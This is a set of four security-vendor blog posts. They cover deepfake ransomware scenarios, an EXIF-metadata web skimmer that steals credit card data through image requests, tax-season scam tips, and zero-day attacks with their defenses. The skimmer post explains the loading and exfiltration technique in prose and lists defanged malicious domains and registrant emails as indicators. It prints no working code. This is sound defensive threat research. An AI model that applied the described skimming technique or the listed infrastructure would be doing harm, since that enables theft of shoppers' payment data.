Deepfakes are the manipulation of media, may they be still images and/or videos accompanied by voice, using artificial intelligence (AI), resulting in a believable composite that is challenging to the naked eye and/or software. We’ve touched on the topic of deepfakes in several of our articles here on the Labs blog, including the possibility of such technology being used in scam campaigns.

Ransomware, on the other hand, is malware that holds the victim’s files hostage, either by encrypting important files or locking victims out of certain computer features to prevent them from performing remediation steps, until a ransom is paid.

Combining these two suggests that deepfake tech can be used in ransomware campaigns or vice versa. This is feasible, albeit a bit of a mindbender. To help us understand the concept behind this weird intermarriage, several experts in the field have given us examples of how this concept may look like in practice.

To the best of our knowledge, the term “deepfake ransomware” was first publicly coined by Paul Andrei Bricman, though he opted with a slightly different construction. A student at the University of Groningen specializing in AI and co-founder of not-for-profit REAL (Registrul Educațional Alternativ), he went with the portmanteau “RansomFake” instead, declaring it “the lovechild of ransomware and deepfake.”

Bricman defined RansomFake as “a type of malicious software that automatically generates fake video, which shows the victim performing an incriminatory or intimate action and threatens to distribute it unless a ransom is paid.” Bricman goes on to suggest that the threat actor behind such a campaign would offer up their targets the option to permanently delete the video file after payment is received.

If something like this can be automated, you can bet that more bad actors with little to no background in programming will take interest in such a technology. In a recent report from Trend Micro, it is revealed that there is great interest in how deepfakes could be used for sextortion (or what they call “eWhoring”) or for bypassing authentication protocols that rely on image verification when using certain sites, such as dating sites.

This report also considers deepfake ransomware an emerging threat because it takes extortion-based ransomware to the next level. The scenario they presented is like Bricman’s: threat actor scrapes videos and voice samples of their target from publicly available websites to create a deepfake video—but sprinkling in certain elements inspired from ransomware, such as a countdown timer that lasts for 24-48 hours.

Deepfake ransomware could also happen this way: A threat actor creates deepfake video of their target. Takes screenshots of this video and, pretending to be a legitimate contact of their target, sends them the screenshots and a link to the supposed video that they can watch themselves if they are in doubt.

Curious and perhaps half-convinced, half-scared, the target then clicks the link, gets redirected to the short clip of themselves in a compromising state and all the while, ransomware is being downloaded onto their system. Or, the link may not lead to a purported video after all but to the auto-downloading and execution of a ransomware file. Remember that deepfakes cannot just manipulate videos and voices but still images as well.

This is not an unlikely scenario. In fact, some ransomware threat actor(s) already used a similar tactic back in 2015.

Thankfully, this level of extortion hasn’t been seen in the wild (yet). Nonetheless, the potential for this campaign to destroy a target’s reputation is exceedingly high. It doesn’t really matter whether a video of someone is real or doctored to look real. As humans, we tend to believe what we see, because if you can’t trust your own eyes, what can you trust?

I’m not going to be a likely target, am I?

Never assume you’re not a target. Those who do—individuals, groups, and organizations alike—eventually find themselves at the receiving end of an attack. Worse—they’re not prepared for it. It’s always better to be safe now than sorry in the end.

Is there a way to protect against deepfake ransomware?

For this particular campaign, patching software for vulnerability holes is not needed—although you should be doing this religiously anyway.

A way to counter deepfake ransomware is at the beginning: Do not give cybercriminals the material they need to create something destructive and hold you responsible for. By this we mean watch what you post on social media in general: selfies, group pictures, TikTok videos, and other images are all up for grabs. You should think long and hard about who you’re sharing your content with and where.

Do an audit of your current photos and videos online and who has access to them. Weed out public-facing photos as much as you can or set them to be viewed by certain groups in your pool of contacts. If they’re not photos you posted yourself, simply un-tag yourself, or ask your contact to take them down.

Many call this process of “tidying up” data detoxing, and indeed, it is one of the handful of steps to keep your digital footprint as minimal as possible. This is not only good for your privacy but also for your pocket and sanity.

If you want to read more, Mozilla wrote about it not so long ago here.

When it comes to dealing with messages from people within your network, whether you personally know them or not, if you have other means to reach out to them other than social media platform, do so to verify two things: [a] Are they the person you’re really talking to?, and [b] If they are, did they actually send you those private messages about a purported video of you floating around the web that they found somewhere?

Furthermore, always be suspect of links, especially those purportedly sent by someone you know. Here’s the thing: people are less likely to believe a stranger who is just “being nice” than someone they may know personally and is concerned about them. Cybercriminals know this, too. And they will do whatever they can to make you believe the scammery they’re attempting to pull on you.

Lastly, backup your files. Always.

The post The face of tomorrow’s cybercrime: Deepfake ransomware explained appeared first on Malwarebytes Labs.

They say a picture is worth a thousand words. Threat actors must have remembered that as they devised yet another way to hide their credit card skimmer in order to evade detection.

When we first investigated this campaign, we thought it may be another one of those favicon tricks, which we had described in a previous blog. However, it turned out to be different and even more devious.

We found skimming code hidden within the metadata of an image file (a form of steganography) and surreptitiously loaded by compromised online stores. This scheme would not be complete without yet another interesting variation to exfiltrate stolen credit card data. Once again, criminals used the disguise of an image file to collect their loot.

During this research, we came across the source code for this skimmer which confirmed what we were seeing via client-side JavaScript. We also identified connections to other scripts based on various data points.

Skimmer hidden within EXIF metadata

The malicious code we detected was loaded from an online store running the WooCommerce plugin for WordPress. WooCommerce is increasingly being targeted by criminals, and for good reason, as it has a large market share.

Malwarebytes was already blocking a malicious domain called cddn[.]site that was triggered upon visiting this merchant’s website. Upon closer inspection we found that extraneous code had been appended to a legitimate script hosted by the merchant.

The offending code loads a favicon file from cddn[.]site/favicon.ico which turns out to be the same favicon used by the compromised store (a logo of their brand). This is an artifact of skimming code that’s been observed publicly and that we refer to as Google loop.

However, nothing else so far from this code indicates any kind of web skimming activity. All we have is JavaScript that loads a remote favicon file and appears to parse some data as well.

This is where things get interesting. We can see a field called ‘Copyright’ from which data is getting loaded. Attackers are using the Copyright metadata field of this image to load their web skimmer. Using an EXIF viewer, we can now see JavaScript code has been injected:

The abuse of image headers to hide malicious code is not new, but this is the first time we witnessed it with a credit car skimmer.

The presence of an eval is a sign that code is meant to be executed. We can also see that the malware authors have obfuscated it. An archive of this script can be found here.

Skimmer exfiltrates data as an image

The initial malicious JavaScript (Figure 2) loads the skimming portion of the code from the favicon.ico (Figure 3) using an <img> tag, and specifically via the onerror event.

As with other skimmers, this one also grabs the content of the input fields where online shoppers are entering their name, billing address and credit card details. It encodes those using Base64 and then reverses that string.

It comes with a twist though, as it sends the collected data as an image file, via a POST request, as seen below:

The threat actors probably decided to stick with the image theme to also conceal the exfiltrated data via the favicon.ico file.

Skimmer toolkit found in the open

We were able to get a copy of the skimmer toolkit’s source code which was zipped and exposed in the open directory of a compromised site. The gate.php file (also included in the zip) contains the skimmer’s entire logic, while other files are used as supporting libraries.

This shows us how the favicon.ico file is crafted with the injected JavaScript inside of the Copyright field. There are some other interesting artifacts as well, such as the Cache HTTP header and Created date for the image.

The JavaScript code for the skimmer is obfuscated using the WiseLoop PHP JS Obfuscator library, in line with what we saw on the client-side.

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field (metadata of an image file), exist.

We also can connect this threat actor to another skimming script based on the registrant’s email (rotrnberg.s4715@gmail[.]com) for cddn[.]site. Two domains (cxizi[.]net and yzxi[.]net) share the same skimmer code which looks much more elaborate and does not appear to have much in common with the other two JavaScript pieces (archive here).

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the first skimmer (see Figure), although it might very well just be a coincidence.

The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a domain (magentorates[.]com) using this EXIF metadata skimming technique has the same Bulgarian host, same registrar, and was registered within a week of magerates[.]com.

Magerates[.]com is registered under newserf@mail.ru, which also has other skimmer domains, and in particular several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoveria[.]com
wosus[.]site

Older EXIF skimmer

jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.]com

Registrant emails

anya.barber56@gmail[.]com
smithlatrice100@yahoo[.]com
rotrnberg.s4715@gmail[.]com
newserf@mail[.]ru

The post Web skimmer hides within EXIF metadata, exfiltrates credit cards via image files appeared first on Malwarebytes Labs.

In spite of everything happening in the world right now—the 2020 tax season is about to come to an end, and taxes are due.

Americans got a reprieve back in March when the US Treasury Department and Internal Revenue Service (IRS) announced they were pushing back the federal income tax filing due date from April 15 to July 15, 2020. Fast forward three months and here we are, filing taxes during a worldwide health crisis and the most extreme social unrest the US has seen since the 1960s.

If only we could magically write off this entire year (like those Zoom calls with your therapist, aka “medical expenses”). And because time is relative, 2020 is absolutely the longest year in human history. Presidential election in November? I’ll die of old age before then.

While you’re preoccupied with, oh you know, avoiding serious illness and fighting for basic human rights, it’s business as usual for cybercriminals. Cybercrime tends to spike during tax season as scammers take advantage of all the valuable data floating around the Internet. These attacks follow a few tried and true methods, usually a phishing email or scam call from someone purporting to be from the IRS or an accountant offering to help you get a bigger refund.

This year, however, cybercriminals are exploiting the nation’s anxiety around COVID-19 and the increasingly grim economic outlook. The IRS has released multiple consumer alerts since shelter in place started back in March, warning Americans to be on the lookout for email and phone phishing attacks aimed at stealing refunds and Economic Impact Payments (EIP).

Beyond having your money stolen, tax ID theft can also damage your credit and cost you in time. It can take upwards of 600 hours to restore a stolen identity, according to the Identity Theft Resource Center.

Fortunately, protecting against the various tax season scams is relatively easy. All it takes is a little common sense and a basic understanding of the social engineering ploys scammers will try to use against you. With that said, here are some tried and true tips to help stay secure during this very unusual tax season.

For general tax preparedness

If you haven’t already filed, now’s the time to get a move on. Not only will you beat the rush, but you can ensure a faster return on your return. Mistakes, including those that can lead to identity theft, are made when you’re scrambling to dig up that charitable donation receipt from Goodwill five minutes before filing deadline.

Next, pick a preparer. Do your due diligence and check out any reviews or articles on tax software, if you plan to use it. Research online tax service providers to see how secure their systems are. Sites should have password standards, a lock-out feature that blocks users after too many unsuccessful login attempts, security questions, and email and/or text verification. If using an accountant, look for referrals. Remember that cheapest may not always be the best.

Finally, once you’ve filed, make sure to keep your tax returns someplace safe. If filing online, you’ll receive a massive PDF that you can download to your desktop. If someone were to access your computer a year from now, all that juicy information would be theirs for the taking. So be sure to either store it in an encrypted cloud service or put it on a removable drive, such as a USB. If filing on paper, keep your taxes in a locked file cabinet or drawer.

For online security

This is important for anyone transmitting sensitive data online, whether that’s shopping or filing taxes: be sure to use a connection that’s secure. If on a home computer and network, use password-protected Wi-Fi and look for properly-secured browsers (website URLs that start with “https” and display a small lock icon). Be sure your preparer has the same security in place. Never, ever, ever file your taxes using public Wi-Fi.

Ever.

In addition, when filing taxes online (and again, this applies to any online service that requires a password), choose passwords that are long and complex. Avoid plain text passwords, use special characters, and if allowed, use spaces. We also highly recommend a password vault or manager that uses two-factor authentication.

The third pillar of Internet security (especially during tax season) is to be aware of social engineering scams, including phishing emails. A popular phishing technique is to send an email from the “IRS” that says, essentially, “We have your tax return ready and you can get your money faster if you just download this PDF!” Nope. Number one, you should never open an attachment from an email you aren’t expecting to receive. Number two, the IRS will not email you. They’ll physically mail you information, but even then, be wary. Tax scams can happen via postal mail, too.

In addition to phishing attacks, there are reports of cold callers who say, essentially, “Hey, we’re from the IRS and you owe us $10,000.” Nope. The IRS won’t call you either. If you receive an email or phone call that’s unsolicited and is looking for personal information, don’t give it. Go back and independently verify who is trying to reach you.

Since shelter in place started back in March, criminals have been using a variety of phishing scams relating to coronavirus. Be wary of any emails purporting to be from the IRS or otherwise, throwing around the terms “coronavirus, “COVID-19,” and “stimulus.” Be especially wary of anyone claiming they can get you additional EIP money or a bigger refund.

After mastering the basics of online security, it’s a good idea to protect yourself using a little technology. Before you even start typing in your social security number, you should run at least one cybersecurity scan. That way, you’re sure there’s no malware on your system, such as a keylogger or spyware that can record your information without you knowing. You should also make sure your operating system, browser, and other software programs are updated—that way, you protect against malware that might exploit vulnerabilities in your computer.

Finally, if you believe there’s a chance you could have been compromised, look into free credit monitoring or ID theft services. (A caveat to this: Only use the free services, as paying for them is unnecessary and redundant with what credit card companies and banks are already doing.) By law, you are entitled to a free copy of your credit report from the major bureaus: Equifax, Experian, and Trans Union. In addition, there’s a lesser-known fourth bureau called Innovis that you can also use. Review your reports annually and look for any suspicious activity.

Filing early, being prepared, staying vigilant online, and employing the proper security technology—if you follow these tips then you can not only keep cybercriminals from cashing in on your tax returns but also from taxing your peace of mind.

The post Coughing in the face of scammers: security tips for the 2020 tax season appeared first on Malwarebytes Labs.

Zero-day vulnerabilities enable threat actors to take advantage of security blindspots. Typically, a zero-day attack involves the identification of zero-day vulnerabilities, creating relevant exploits, identifying vulnerable systems, and planning the attack. The next steps are infiltration and launch. 

This article examines three recent zero-day attacks, which targeted Microsoft, Internet Explorer, and Sophos. Finally, you will learn about four zero-day protection and prevention solutions—NGAV, EDR, IPsec, and network access controls. 

What is a zero-day vulnerability?

Zero-day vulnerabilities are critical threats that are not yet publicly disclosed or that are only discovered as the result of an attack. By definition, vendors and users do not yet know about the vulnerability. The term zero-day stems from the time the threat is discovered (day zero). From this day a race occurs between security teams and attackers to respectively patch or exploit the threat first. 

Anatomy of a zero-day attack

A zero-day attack occurs when criminals exploit a zero-day vulnerability. The timeline of a zero-day attack often includes the following steps. 

1. Identifying vulnerabilities: Criminals test open source code and proprietary applications for vulnerabilities that have not yet been reported. Attackers may also turn to black markets to purchase information on vulnerabilities that are not yet public. 
2. Creation of exploits: Attackers create a kit, script, or process that enables them to exploit the discovered vulnerability.
3. Identifying vulnerable systems: Once an exploit is available, attackers begin looking for affected systems. This may involve using automated scanners, bots, or manual probing. 
4. Planning the attack: The type of attack that a criminal wants to accomplish determines this step. If an attack is targeted, attackers typically carry out reconnaissance to reduce their chance of being caught and increase the chance of success. For general attacks, criminals are more likely to use phishing campaigns or bots to try to hit as many targets as quickly as possible.
5. Infiltration and launch: If a vulnerability requires first infiltrating a system, attackers work to do so before deploying the exploit. However, if a vulnerability can be exploited to gain entry, the exploit is applied directly. 

Recent examples of attacks

Effectively preventing zero-day attacks is a significant challenge for any security team. These attacks come without warning and can bypass many security systems. Particularly those relying on signature-based methods. To help improve your security and decrease your risk, you can start by learning about the types of attacks that have recently occurred.

Microsoft

In March 2020, Microsoft warned users of zero-day attacks exploiting two separate vulnerabilities. These vulnerabilities affected all supported Windows versions and no patch was expected until weeks later. There is not currently a CVE identifier for this vulnerability. 

The attacks targeted remote code execution (RCE) vulnerabilities in the Adobe Type Manager (ATM) library. This library is built into Windows to manage PostScript Type 1 fonts. The flaws in ATM enabled attackers to use malicious documents to remotely run scripts. The documents arrived through spam or were downloaded by unsuspecting users. When opened, or previewed with Windows File Explorer, the scripts would run, infecting user devices. 

Internet Explorer

Internet Explorer (IE), Microsoft’s legacy browser, is another recent source of zero-day attacks. This vulnerability (CVE-2020-0674) occurs due to a flaw in the way the IE scripting engine manages objects in memory. It affected IE v9-11.

Attackers are able to leverage this vulnerability by tricking users into visiting a website crafted to exploit the flaw. This can be accomplished through phishing emails or through redirection of links and server requests.

Sophos

In April 2020, zero-day attacks were reported against the Sophos’ XG firewall. These attacks attempted to exploit a SQL injection vulnerability (CVE-2020-12271) targeting the firewall’s built-in PostgreSQL database server.

If successfully exploited, this vulnerability would enable attackers to inject code into the database. This code could be used to modify firewall settings, granting access to systems or enabling the installation of malware. 

Protection and prevention

To properly defend against zero-day attacks, you need to layer advanced protections on top of your existing tools and strategies. Below are a few solutions and practices designed to help you detect and prevent unknown threats. 

Next-generation antivirus

Next-generation antivirus (NGAV) expands upon traditional antivirus. It does this by including features for machine learning, behavioral detection, and exploit mitigation. These features enable NGAV to detect malware even when there is no known signature or file hash (which traditional AV relies on). 

Additionally, these solutions are often cloud-based, enabling you to deploy tooling in isolation and at scale. This helps ensure that all of your devices are protected and that protections remain active even if devices are affected.

Endpoint detection and response

Endpoint detection and response (EDR) solutions provide visibility, monitoring, and automated protections to your endpoints. These solutions monitor all endpoint traffic and can use artificial intelligence to classify suspicious endpoint behaviors, like, for example, to frequent requests or connections from foreign IPs. These capabilities enable you to block threats regardless of the attack method. 

Additionally, EDR features can be used to track and monitor users or files. As long as the tracked aspect behaves within normal guidelines, no action is taken. However, as soon as behavior deviates, security teams can be alerted. 

These capabilities require no knowledge of specific threats. Instead, capabilities leverage threat intelligence to make generalized comparisons. This makes EDR effective against zero-day attacks. 

IP security

IP Security (IPsec) is a set of standard protocols used by Internet engineering task forces (IETFs). It enables teams to apply data authentication measures, and to verify integrity and confidentiality between connection points. It also enables encryption and secure key management and exchange. 

You can use IPsec to authenticate and encrypt all of your network traffic. This enables you to secure connections and to quickly identify and respond to any non-network or suspicious traffic. These abilities enable you to increase the difficulty of exploiting zero-day vulnerabilities and decrease the chance that attacks are successful. 

Implement network access controls

Network access controls enable you to segment your networks in a highly granular way. This allows you to define exactly which users and devices can access your assets and through what means. This includes restricting access to only those devices and users with the appropriate security patches or tooling. 

Network access controls can help you ensure that your systems are protected without interfering with productivity or forcing complete restriction of external access. For example, the type of access needed when you host software as a service (SaaS). 

These controls are beneficial for protecting against zero-day threats because they enable you to prevent lateral movement in your networks. This effectively isolates any damage a zero-day threat may cause. 

Staying safe

Recent zero-day attacks show that more and more threat actors find an easy mark in endpoint users. The zero-day attack on Microsoft exploited ATM vulnerabilities to trick users into opening malware. When threat actors exploited an Internet Explore zero-day vulnerability, they tricked users into visiting malicious sites. The zero-day attack on Sophos could potentially grant user access to threat actors. 

However, while zero-day attacks are difficult to predict, it is possible to prevent and block these attacks. EDR security enables organizations to extend visibility into endpoints, and next-generation antivirus provides protection against malware without having to rely on known signatures. IPsec protocols enable organization to authenticate and encrypt network traffic, and network access controls provide the tools to deny access to malicious actors. Don’t let threat actors have the upper hand. By utilizing and layering several of these tools and approaches, you can better protect your employees, your data, and your organization.

The post A zero-day guide for 2020: Recent attacks and advanced preventive techniques appeared first on Malwarebytes Labs.